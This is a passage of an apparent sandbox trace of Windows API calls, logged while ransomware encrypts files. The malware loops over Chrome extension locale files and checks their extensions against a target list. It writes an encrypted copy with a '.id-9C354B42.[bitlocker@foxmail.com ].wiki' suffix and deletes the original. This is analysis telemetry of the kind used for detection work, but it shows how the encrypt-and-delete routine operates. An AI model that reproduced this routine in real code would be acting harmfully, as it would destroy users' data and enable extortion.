(lpString=".doc") returned 4 [0175.018] lstrcmpiW (lpString1=".doc", lpString2="json") returned -1 [0175.018] lstrlenW (lpString=".docx") returned 5 [0175.018] lstrcmpiW (lpString1=".docx", lpString2=".json") returned -1 [0175.018] lstrlenW (lpString=".pdf") returned 4 [0175.018] lstrcmpiW (lpString1=".pdf", lpString2="json") returned -1 [0175.018] lstrlenW (lpString=".xls") returned 4 [0175.018] lstrcmpiW (lpString1=".xls", lpString2="json") returned -1 [0175.018] lstrlenW (lpString=".xlsx") returned 5 [0175.018] lstrcmpiW (lpString1=".xlsx", lpString2=".json") returned 1 [0175.018] lstrlenW (lpString=".ppt") returned 4 [0175.018] lstrcmpiW (lpString1=".ppt", lpString2="json") returned -1 [0175.018] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\da\\messages.json") returned 151 [0175.018] lstrlenW (lpString=".zip") returned 4 [0175.018] lstrcmpiW (lpString1=".zip", lpString2="json") returned -1 [0175.018] lstrlenW (lpString=".rar") returned 4 [0175.018] lstrcmpiW (lpString1=".rar", lpString2="json") returned -1 [0175.018] lstrlenW (lpString=".bz2") returned 4 [0175.018] lstrcmpiW (lpString1=".bz2", lpString2="json") returned -1 [0175.018] lstrlenW (lpString=".7z") returned 3 [0175.018] lstrcmpiW (lpString1=".7z", lpString2="son") returned -1 [0175.018] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\da\\messages.json") returned 151 [0175.018] lstrlenW (lpString=".dbf") returned 4 [0175.018] lstrcmpiW (lpString1=".dbf", lpString2="json") returned -1 [0175.018] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\da\\messages.json") returned 151 [0175.018] lstrlenW (lpString=".1cd") returned 4 [0175.018] lstrcmpiW (lpString1=".1cd", lpString2="json") returned -1 [0175.018] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\da\\messages.json") returned 151 [0175.018] lstrlenW (lpString=".jpg") returned 4 [0175.019] lstrcmpiW (lpString1=".jpg", lpString2="json") returned -1 [0175.019] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\da\\messages.json") returned 151 [0175.019] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\da\\messages.json") returned 151 [0175.019] lstrlenW (lpString=".doc") returned 4 [0175.019] lstrcmpiW (lpString1=".doc", lpString2="json") returned -1 [0175.019] lstrlenW (lpString=".docx") returned 5 [0175.019] lstrcmpiW (lpString1=".docx", lpString2=".json") returned -1 [0175.019] lstrlenW (lpString=".pdf") returned 4 [0175.019] lstrcmpiW (lpString1=".pdf", lpString2="json") returned -1 [0175.019] lstrlenW (lpString=".xls") returned 4 [0175.019] lstrcmpiW (lpString1=".xls", lpString2="json") returned -1 [0175.019] lstrlenW (lpString=".xlsx") returned 5 [0175.019] lstrcmpiW (lpString1=".xlsx", lpString2=".json") returned 1 [0175.019] lstrlenW (lpString=".ppt") returned 4 [0175.019] lstrcmpiW (lpString1=".ppt", lpString2="json") returned -1 [0175.019] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\da\\messages.json") returned 151 [0175.019] lstrlenW (lpString=".zip") returned 4 [0175.019] lstrcmpiW (lpString1=".zip", lpString2="json") returned -1 [0175.019] lstrlenW (lpString=".rar") returned 4 [0175.019] lstrcmpiW (lpString1=".rar", lpString2="json") returned -1 [0175.019] lstrlenW (lpString=".bz2") returned 4 [0175.019] lstrcmpiW (lpString1=".bz2", lpString2="json") returned -1 [0175.019] lstrlenW (lpString=".7z") returned 3 [0175.019] lstrcmpiW (lpString1=".7z", lpString2="son") returned -1 [0175.019] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\da\\messages.json") returned 151 [0175.019] lstrlenW (lpString=".dbf") returned 4 [0175.019] lstrcmpiW (lpString1=".dbf", lpString2="json") returned -1 [0175.019] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\da\\messages.json") returned 151 [0175.020] lstrlenW (lpString=".1cd") returned 4 [0175.020] lstrcmpiW (lpString1=".1cd", lpString2="json") returned -1 [0175.020] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\da\\messages.json") returned 151 [0175.020] lstrlenW (lpString=".jpg") returned 4 [0175.020] lstrcmpiW (lpString1=".jpg", lpString2="json") returned -1 [0175.020] lstrcmpiW (lpString1=".json", lpString2=".wiki") returned -1 [0175.020] lstrlenW (lpString="messages.json") returned 13 [0175.020] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\de\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\de\\messages.json"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x198 [0175.020] GetFileSizeEx (in: hFile=0x198, lpFileSize=0x33dff1c | out: lpFileSize=0x33dff1c*=220) returned 1 [0175.020] CloseHandle (hObject=0x198) returned 1 [0175.020] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\de\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\de\\messages.json")) returned 0x2020 [0175.021] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\de\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\de\\messages.json.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0175.021] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\de\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\de\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x198 [0175.021] SetFilePointerEx (in: hFile=0x198, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec8 | out: lpNewFilePointer=0x0) returned 1 [0175.021] SetFilePointerEx (in: hFile=0x198, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec8 | out: lpNewFilePointer=0x0) returned 1 [0175.021] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\de\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\de\\messages.json.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x334 [0175.021] GetLastError () returned 0x0 [0175.021] ReadFile (in: hFile=0x198, lpBuffer=0x3f30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33dfed4, lpOverlapped=0x0 | out: lpBuffer=0x3f30020*, lpNumberOfBytesRead=0x33dfed4*=0xdc, lpOverlapped=0x0) returned 1 [0175.022] WriteFile (in: hFile=0x334, lpBuffer=0x3f30020*, nNumberOfBytesToWrite=0xe0, lpNumberOfBytesWritten=0x33dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f30020*, lpNumberOfBytesWritten=0x33dfc9c*=0xe0, lpOverlapped=0x0) returned 1 [0175.023] ReadFile (in: hFile=0x198, lpBuffer=0x3f30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33dfed4, lpOverlapped=0x0 | out: lpBuffer=0x3f30020*, lpNumberOfBytesRead=0x33dfed4*=0x0, lpOverlapped=0x0) returned 1 [0175.023] WriteFile (in: hFile=0x334, lpBuffer=0x3f30020*, nNumberOfBytesToWrite=0xee, lpNumberOfBytesWritten=0x33dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f30020*, lpNumberOfBytesWritten=0x33dfc9c*=0xee, lpOverlapped=0x0) returned 1 [0175.023] SetEndOfFile (hFile=0x334) returned 1 [0175.024] CloseHandle (hObject=0x334) returned 1 [0175.024] SetFilePointerEx (in: hFile=0x198, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec8 | out: lpNewFilePointer=0x0) returned 1 [0175.024] SetEndOfFile (hFile=0x198) returned 1 [0175.024] CloseHandle (hObject=0x198) returned 1 [0175.024] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\de\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x2020) returned 1 [0175.025] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\de\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\de\\messages.json")) returned 1 [0175.025] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\de\\messages.json") returned 151 [0175.025] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\de\\messages.json") returned 151 [0175.025] lstrlenW (lpString=".doc") returned 4 [0175.025] lstrcmpiW (lpString1=".doc", lpString2="json") returned -1 [0175.025] lstrlenW (lpString=".docx") returned 5 [0175.025] lstrcmpiW (lpString1=".docx", lpString2=".json") returned -1 [0175.025] lstrlenW (lpString=".pdf") returned 4 [0175.025] lstrcmpiW (lpString1=".pdf", lpString2="json") returned -1 [0175.025] lstrlenW (lpString=".xls") returned 4 [0175.025] lstrcmpiW (lpString1=".xls", lpString2="json") returned -1 [0175.025] lstrlenW (lpString=".xlsx") returned 5 [0175.025] lstrcmpiW (lpString1=".xlsx", lpString2=".json") returned 1 [0175.025] lstrlenW (lpString=".ppt") returned 4 [0175.025] lstrcmpiW (lpString1=".ppt", lpString2="json") returned -1 [0175.025] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\de\\messages.json") returned 151 [0175.025] lstrlenW (lpString=".zip") returned 4 [0175.025] lstrcmpiW (lpString1=".zip", lpString2="json") returned -1 [0175.025] lstrlenW (lpString=".rar") returned 4 [0175.025] lstrcmpiW (lpString1=".rar", lpString2="json") returned -1 [0175.025] lstrlenW (lpString=".bz2") returned 4 [0175.026] lstrcmpiW (lpString1=".bz2", lpString2="json") returned -1 [0175.026] lstrlenW (lpString=".7z") returned 3 [0175.026] lstrcmpiW (lpString1=".7z", lpString2="son") returned -1 [0175.026] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\de\\messages.json") returned 151 [0175.026] lstrlenW (lpString=".dbf") returned 4 [0175.026] lstrcmpiW (lpString1=".dbf", lpString2="json") returned -1 [0175.026] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\de\\messages.json") returned 151 [0175.026] lstrlenW (lpString=".1cd") returned 4 [0175.026] lstrcmpiW (lpString1=".1cd", lpString2="json") returned -1 [0175.026] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\de\\messages.json") returned 151 [0175.026] lstrlenW (lpString=".jpg") returned 4 [0175.026] lstrcmpiW (lpString1=".jpg", lpString2="json") returned -1 [0175.026] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\de\\messages.json") returned 151 [0175.026] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\de\\messages.json") returned 151 [0175.026] lstrlenW (lpString=".doc") returned 4 [0175.026] lstrcmpiW (lpString1=".doc", lpString2="json") returned -1 [0175.026] lstrlenW (lpString=".docx") returned 5 [0175.026] lstrcmpiW (lpString1=".docx", lpString2=".json") returned -1 [0175.026] lstrlenW (lpString=".pdf") returned 4 [0175.026] lstrcmpiW (lpString1=".pdf", lpString2="json") returned -1 [0175.026] lstrlenW (lpString=".xls") returned 4 [0175.026] lstrcmpiW (lpString1=".xls", lpString2="json") returned -1 [0175.026] lstrlenW (lpString=".xlsx") returned 5 [0175.026] lstrcmpiW (lpString1=".xlsx", lpString2=".json") returned 1 [0175.026] lstrlenW (lpString=".ppt") returned 4 [0175.026] lstrcmpiW (lpString1=".ppt", lpString2="json") returned -1 [0175.026] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\de\\messages.json") returned 151 [0175.026] lstrlenW (lpString=".zip") returned 4 [0175.026] lstrcmpiW (lpString1=".zip", lpString2="json") returned -1 [0175.027] lstrlenW (lpString=".rar") returned 4 [0175.027] lstrcmpiW (lpString1=".rar", lpString2="json") returned -1 [0175.027] lstrlenW (lpString=".bz2") returned 4 [0175.027] lstrcmpiW (lpString1=".bz2", lpString2="json") returned -1 [0175.027] lstrlenW (lpString=".7z") returned 3 [0175.027] lstrcmpiW (lpString1=".7z", lpString2="son") returned -1 [0175.027] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\de\\messages.json") returned 151 [0175.027] lstrlenW (lpString=".dbf") returned 4 [0175.027] lstrcmpiW (lpString1=".dbf", lpString2="json") returned -1 [0175.027] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\de\\messages.json") returned 151 [0175.027] lstrlenW (lpString=".1cd") returned 4 [0175.027] lstrcmpiW (lpString1=".1cd", lpString2="json") returned -1 [0175.027] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\de\\messages.json") returned 151 [0175.027] lstrlenW (lpString=".jpg") returned 4 [0175.027] lstrcmpiW (lpString1=".jpg", lpString2="json") returned -1 [0175.027] lstrcmpiW (lpString1=".json", lpString2=".wiki") returned -1 [0175.027] lstrlenW (lpString="messages.json") returned 13 [0175.027] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\el\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\el\\messages.json"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x198 [0175.028] GetFileSizeEx (in: hFile=0x198, lpFileSize=0x33dff1c | out: lpFileSize=0x33dff1c*=304) returned 1 [0175.028] CloseHandle (hObject=0x198) returned 1 [0175.028] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\el\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\el\\messages.json")) returned 0x2020 [0175.028] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\el\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\el\\messages.json.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0175.028] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\el\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\el\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x198 [0175.028] SetFilePointerEx (in: hFile=0x198, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec8 | out: lpNewFilePointer=0x0) returned 1 [0175.028] SetFilePointerEx (in: hFile=0x198, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec8 | out: lpNewFilePointer=0x0) returned 1 [0175.028] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\el\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\el\\messages.json.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x334 [0175.029] GetLastError () returned 0x0 [0175.029] ReadFile (in: hFile=0x198, lpBuffer=0x3f30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33dfed4, lpOverlapped=0x0 | out: lpBuffer=0x3f30020*, lpNumberOfBytesRead=0x33dfed4*=0x130, lpOverlapped=0x0) returned 1 [0175.030] WriteFile (in: hFile=0x334, lpBuffer=0x3f30020*, nNumberOfBytesToWrite=0x140, lpNumberOfBytesWritten=0x33dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f30020*, lpNumberOfBytesWritten=0x33dfc9c*=0x140, lpOverlapped=0x0) returned 1 [0175.031] ReadFile (in: hFile=0x198, lpBuffer=0x3f30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33dfed4, lpOverlapped=0x0 | out: lpBuffer=0x3f30020*, lpNumberOfBytesRead=0x33dfed4*=0x0, lpOverlapped=0x0) returned 1 [0175.031] WriteFile (in: hFile=0x334, lpBuffer=0x3f30020*, nNumberOfBytesToWrite=0xee, lpNumberOfBytesWritten=0x33dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f30020*, lpNumberOfBytesWritten=0x33dfc9c*=0xee, lpOverlapped=0x0) returned 1 [0175.031] SetEndOfFile (hFile=0x334) returned 1 [0175.031] CloseHandle (hObject=0x334) returned 1 [0175.031] SetFilePointerEx (in: hFile=0x198, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec8 | out: lpNewFilePointer=0x0) returned 1 [0175.031] SetEndOfFile (hFile=0x198) returned 1 [0175.032] CloseHandle (hObject=0x198) returned 1 [0175.032] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\el\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x2020) returned 1 [0175.032] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\el\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\el\\messages.json")) returned 1 [0175.032] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\el\\messages.json") returned 151 [0175.032] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\el\\messages.json") returned 151 [0175.032] lstrlenW (lpString=".doc") returned 4 [0175.243] lstrcmpiW (lpString1=".doc", lpString2="json") returned -1 [0175.243] lstrlenW (lpString=".docx") returned 5 [0175.243] lstrcmpiW (lpString1=".docx", lpString2=".json") returned -1 [0175.243] lstrlenW (lpString=".pdf") returned 4 [0175.243] lstrcmpiW (lpString1=".pdf", lpString2="json") returned -1 [0175.243] lstrlenW (lpString=".xls") returned 4 [0175.243] lstrcmpiW (lpString1=".xls", lpString2="json") returned -1 [0175.243] lstrlenW (lpString=".xlsx") returned 5 [0175.243] lstrcmpiW (lpString1=".xlsx", lpString2=".json") returned 1 [0175.243] lstrlenW (lpString=".ppt") returned 4 [0175.243] lstrcmpiW (lpString1=".ppt", lpString2="json") returned -1 [0175.243] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\el\\messages.json") returned 151 [0175.243] lstrlenW (lpString=".zip") returned 4 [0175.243] lstrcmpiW (lpString1=".zip", lpString2="json") returned -1 [0175.243] lstrlenW (lpString=".rar") returned 4 [0175.243] lstrcmpiW (lpString1=".rar", lpString2="json") returned -1 [0175.243] lstrlenW (lpString=".bz2") returned 4 [0175.243] lstrcmpiW (lpString1=".bz2", lpString2="json") returned -1 [0175.243] lstrlenW (lpString=".7z") returned 3 [0175.243] lstrcmpiW (lpString1=".7z", lpString2="son") returned -1 [0175.243] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\el\\messages.json") returned 151 [0175.243] lstrlenW (lpString=".dbf") returned 4 [0175.244] lstrcmpiW (lpString1=".dbf", lpString2="json") returned -1 [0175.244] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\el\\messages.json") returned 151 [0175.244] lstrlenW (lpString=".1cd") returned 4 [0175.244] lstrcmpiW (lpString1=".1cd", lpString2="json") returned -1 [0175.244] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\el\\messages.json") returned 151 [0175.244] lstrlenW (lpString=".jpg") returned 4 [0175.244] lstrcmpiW (lpString1=".jpg", lpString2="json") returned -1 [0175.244] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\el\\messages.json") returned 151 [0175.244] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\el\\messages.json") returned 151 [0175.244] lstrlenW (lpString=".doc") returned 4 [0175.244] lstrcmpiW (lpString1=".doc", lpString2="json") returned -1 [0175.244] lstrlenW (lpString=".docx") returned 5 [0175.244] lstrcmpiW (lpString1=".docx", lpString2=".json") returned -1 [0175.244] lstrlenW (lpString=".pdf") returned 4 [0175.244] lstrcmpiW (lpString1=".pdf", lpString2="json") returned -1 [0175.244] lstrlenW (lpString=".xls") returned 4 [0175.244] lstrcmpiW (lpString1=".xls", lpString2="json") returned -1 [0175.244] lstrlenW (lpString=".xlsx") returned 5 [0175.244] lstrcmpiW (lpString1=".xlsx", lpString2=".json") returned 1 [0175.244] lstrlenW (lpString=".ppt") returned 4 [0175.244] lstrcmpiW (lpString1=".ppt", lpString2="json") returned -1 [0175.244] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\el\\messages.json") returned 151 [0175.244] lstrlenW (lpString=".zip") returned 4 [0175.244] lstrcmpiW (lpString1=".zip", lpString2="json") returned -1 [0175.244] lstrlenW (lpString=".rar") returned 4 [0175.244] lstrcmpiW (lpString1=".rar", lpString2="json") returned -1 [0175.244] lstrlenW (lpString=".bz2") returned 4 [0175.244] lstrcmpiW (lpString1=".bz2", lpString2="json") returned -1 [0175.244] lstrlenW (lpString=".7z") returned 3 [0175.244] lstrcmpiW (lpString1=".7z", lpString2="son") returned -1 [0175.245] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS 